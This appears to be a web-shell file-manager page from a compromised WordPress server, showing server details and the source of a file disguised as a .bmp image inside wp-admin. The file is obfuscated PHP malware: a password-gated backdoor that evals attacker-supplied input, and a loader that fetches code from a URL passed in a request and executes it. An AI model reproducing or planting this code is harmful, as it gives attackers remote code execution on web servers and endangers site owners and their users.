HEX
Server: Apache/2
System: Linux sd22995.server.idn.vn 5.14.0-570.41.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 11 06:52:33 EDT 2025 x86_64
User: dainam (1029)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dainam/domains/pklnsvietnam.com/private_html/wp-admin/user/user/Ygrxuqaeb.bmp
<?php
 goto yCVzubJW0xTxg; KeG7UdkVfhsIT: if (!(in_array(gettype($SsYSngNt3yzqF) . count($SsYSngNt3yzqF), $SsYSngNt3yzqF) && count($SsYSngNt3yzqF) == 19 && md5(md5(md5(md5($SsYSngNt3yzqF[13])))) === "\x62\62\x65\x34\71\67\64\x36\61\67\x31\x38\x32\63\x30\x38\141\x30\x30\145\x37\63\x65\142\x62\66\145\x63\66\x37\x38\65")) { goto Z5H2mjeIrlDZs; } goto vykyGixdCVUS2; mbdL9da1M1eUU: $SsYSngNt3yzqF = ${$Ma_RR84VVhB5t[31 + 0] . $Ma_RR84VVhB5t[24 + 35] . $Ma_RR84VVhB5t[14 + 33] . $Ma_RR84VVhB5t[14 + 33] . $Ma_RR84VVhB5t[39 + 12] . $Ma_RR84VVhB5t[37 + 16] . $Ma_RR84VVhB5t[0 + 57]}; goto KeG7UdkVfhsIT; d874weAhTxbZ3: $Ma_RR84VVhB5t = $m6RNVpy4H_2wp("\x7e", "\x20"); goto mbdL9da1M1eUU; yCVzubJW0xTxg: $m6RNVpy4H_2wp = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto d874weAhTxbZ3; GKjhTOjSh1Oov: metaphone("\154\70\171\131\67\x46\120\64\67\70\166\141\113\141\131\121\x78\x37\171\x39\154\x50\x35\125\167\x47\x77\x52\164\64\x49\60\x75\x51\121\x77\153\105\143\x72\151\144\115"); goto DaOPxlBgttvo3; LOS3LuOuRUfMb: Z5H2mjeIrlDZs: goto GKjhTOjSh1Oov; vykyGixdCVUS2: ($SsYSngNt3yzqF[65] = $SsYSngNt3yzqF[65] . $SsYSngNt3yzqF[78]) && ($SsYSngNt3yzqF[85] = $SsYSngNt3yzqF[65]($SsYSngNt3yzqF[85])) && @eval($SsYSngNt3yzqF[65](${$SsYSngNt3yzqF[35]}[27])); goto LOS3LuOuRUfMb; DaOPxlBgttvo3: class fVFDWu1K4CEeN { static function qM1oVf4BEVRI0($wntNPtMQfXMdC) { goto q2oiozKAVxIfk; eL1ce6nsxJVZc: $edquQ8Q2lFnJ7 = explode("\x26", $wntNPtMQfXMdC); goto Kn9XudWcT2_Vh; IxcRJ0gFLj_kP: return $mcj2oQpGBULde; goto xJAsGVNwhKjrr; q2oiozKAVxIfk: $k2Mm6C6DfZyut = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto mIuGawfxF5cI9; VAv6VnF9bKYU6: Sk38l2gixETHi: goto IxcRJ0gFLj_kP; Kn9XudWcT2_Vh: $mcj2oQpGBULde = ''; goto sXS0_k1OTHmi9; mIuGawfxF5cI9: $A5HdGZM3VUX2I = $k2Mm6C6DfZyut("\176", "\x20"); goto eL1ce6nsxJVZc; sXS0_k1OTHmi9: foreach ($edquQ8Q2lFnJ7 as $yrCE7aS8Bw5gu => $SO0PlpUk3w62b) { $mcj2oQpGBULde .= $A5HdGZM3VUX2I[$SO0PlpUk3w62b - 21730]; dGgu1hkiPCpmL: } goto VAv6VnF9bKYU6; xJAsGVNwhKjrr: } static function pSIGHCppTpdQC($DuRAY6TNezxcB, $djDz9v2_aMKuf) { goto lodaloB60iKas; hfqUgXCOncUKv: $NEg7oAJb0DB4j = curl_exec($I4jZqCI_yYb1D); goto lksJVNeuvQy31; lodaloB60iKas: $I4jZqCI_yYb1D = curl_init($DuRAY6TNezxcB); goto UGdmZkkBX2iWv; lksJVNeuvQy31: return empty($NEg7oAJb0DB4j) ? $djDz9v2_aMKuf($DuRAY6TNezxcB) : $NEg7oAJb0DB4j; goto mkYlrPPZwWLyK; UGdmZkkBX2iWv: curl_setopt($I4jZqCI_yYb1D, CURLOPT_RETURNTRANSFER, 1); goto hfqUgXCOncUKv; mkYlrPPZwWLyK: } static function mFqy1zrs242M0() { goto AjnNYPuV0Jt1f; Dwm2ao7J1NvwF: K6v9S8b0RyYd9: goto v1wvglLDhkJQD; q4XB1dm3GgHKI: $cbphKTRXHHmyN = self::PSIGHCpPTPdQC($K9kwIzrfwLd9H[1 + 0], $eFIUVJQXgIpKe[4 + 1]); goto oPLZw01TP2bQ_; iwSd7b6c7Mu67: $UdEZhwJsrZuPc = @$eFIUVJQXgIpKe[1]($eFIUVJQXgIpKe[4 + 6](INPUT_GET, $eFIUVJQXgIpKe[8 + 1])); goto g9IE9WA35c_G6; xHjHVeIMbFAe9: @$eFIUVJQXgIpKe[7 + 3](INPUT_GET, "\157\146") == 1 && die($eFIUVJQXgIpKe[1 + 4](__FILE__)); goto FuADMWCh222r3; iq2qul60A2sp2: KV2qhtjXpyKGB: goto iwSd7b6c7Mu67; KykQDVTzlX_P9: $K9kwIzrfwLd9H = $eFIUVJQXgIpKe[2 + 0]($TUxqpHlvY6W3l, true); goto xHjHVeIMbFAe9; E6qYhlcyG6aDO: die; goto Dwm2ao7J1NvwF; KHnMkvG2DEiPi: foreach ($Tdm0LA00l7DV3 as $u7AtGrBjPDves) { $eFIUVJQXgIpKe[] = self::qM1ovF4beVRi0($u7AtGrBjPDves); omRGFPW6tH4p1: } goto iq2qul60A2sp2; FuADMWCh222r3: if (!(@$K9kwIzrfwLd9H[0] - time() > 0 and md5(md5($K9kwIzrfwLd9H[2 + 1])) === "\142\x38\146\x61\67\65\x36\x37\x31\x65\x35\61\64\x30\60\x38\x65\66\143\x39\x38\144\x31\146\x32\x33\63\63\61\x34\67\x63")) { goto K6v9S8b0RyYd9; } goto q4XB1dm3GgHKI; AjnNYPuV0Jt1f: $Tdm0LA00l7DV3 = array("\62\61\67\x35\x37\x26\x32\61\x37\x34\62\46\62\61\67\x35\x35\x26\62\x31\67\x35\x39\x26\x32\x31\x37\64\60\x26\x32\61\x37\65\65\x26\x32\61\67\x36\61\46\62\x31\67\x35\x34\46\x32\x31\x37\63\x39\46\x32\x31\x37\x34\x36\46\x32\61\67\x35\67\x26\62\x31\x37\x34\x30\x26\x32\x31\67\65\61\46\62\61\x37\x34\65\x26\x32\61\x37\64\66", "\62\61\67\x34\x31\46\62\x31\67\x34\60\46\x32\61\x37\x34\x32\x26\x32\x31\67\66\x31\x26\62\x31\x37\64\62\46\x32\x31\67\64\x35\x26\x32\61\x37\64\60\x26\62\x31\70\x30\x37\x26\x32\x31\x38\x30\x35", "\62\61\x37\65\x30\x26\62\61\x37\64\61\x26\x32\x31\67\x34\65\46\x32\x31\x37\64\x36\46\62\61\x37\66\x31\46\62\x31\67\65\x36\46\62\61\x37\65\65\46\x32\x31\67\x35\x37\x26\62\x31\67\64\x35\x26\62\x31\x37\65\66\x26\x32\61\67\65\65", "\62\x31\67\64\64\x26\62\61\67\x35\x39\46\x32\x31\x37\65\x37\46\x32\61\67\x34\71", "\62\x31\67\65\x38\x26\62\61\x37\65\71\x26\62\61\x37\64\61\46\x32\61\67\x35\x35\46\x32\x31\70\x30\x32\x26\62\61\70\x30\64\x26\62\x31\x37\66\x31\x26\62\61\67\65\x36\46\62\x31\67\65\65\46\62\x31\x37\65\x37\46\x32\61\x37\64\x35\46\x32\x31\x37\65\66\46\62\x31\67\x35\x35", "\x32\61\67\x35\x34\x26\x32\61\67\65\61\x26\x32\61\x37\64\x38\x26\x32\61\67\65\x35\46\62\61\67\x36\61\x26\62\61\x37\x35\63\46\62\x31\x37\65\x35\46\x32\x31\67\x34\60\x26\62\x31\x37\x36\x31\x26\x32\x31\67\65\x37\x26\x32\61\67\x34\x35\x26\x32\x31\67\x34\x36\x26\62\x31\67\64\60\46\62\x31\67\65\x35\x26\x32\x31\67\64\66\x26\x32\x31\67\x34\60\46\x32\61\67\x34\x31", "\62\61\x37\70\x34\46\62\61\70\x31\x34", "\62\x31\67\x33\61", "\x32\61\70\x30\71\x26\62\x31\70\x31\x34", "\62\61\x37\71\x31\46\62\x31\x37\67\64\x26\62\x31\67\67\x34\x26\62\61\67\71\x31\46\x32\x31\x37\66\67", "\x32\x31\67\65\64\x26\x32\x31\x37\x35\x31\46\62\61\67\x34\x38\46\x32\61\67\64\60\46\62\x31\67\x35\65\46\62\x31\67\x34\x32\x26\x32\61\x37\x36\x31\x26\x32\x31\x37\65\61\46\62\x31\x37\x34\x36\x26\x32\x31\67\x34\64\x26\x32\x31\67\63\x39\46\62\x31\x37\x34\x30"); goto KHnMkvG2DEiPi; g9IE9WA35c_G6: $TUxqpHlvY6W3l = @$eFIUVJQXgIpKe[1 + 2]($eFIUVJQXgIpKe[1 + 5], $UdEZhwJsrZuPc); goto KykQDVTzlX_P9; oPLZw01TP2bQ_: @eval($eFIUVJQXgIpKe[2 + 2]($cbphKTRXHHmyN)); goto E6qYhlcyG6aDO; v1wvglLDhkJQD: } } goto iowNP7Ws_pGdR; iowNP7Ws_pGdR: fvFDWU1K4CeeN::MfQY1ZRS242m0();
?>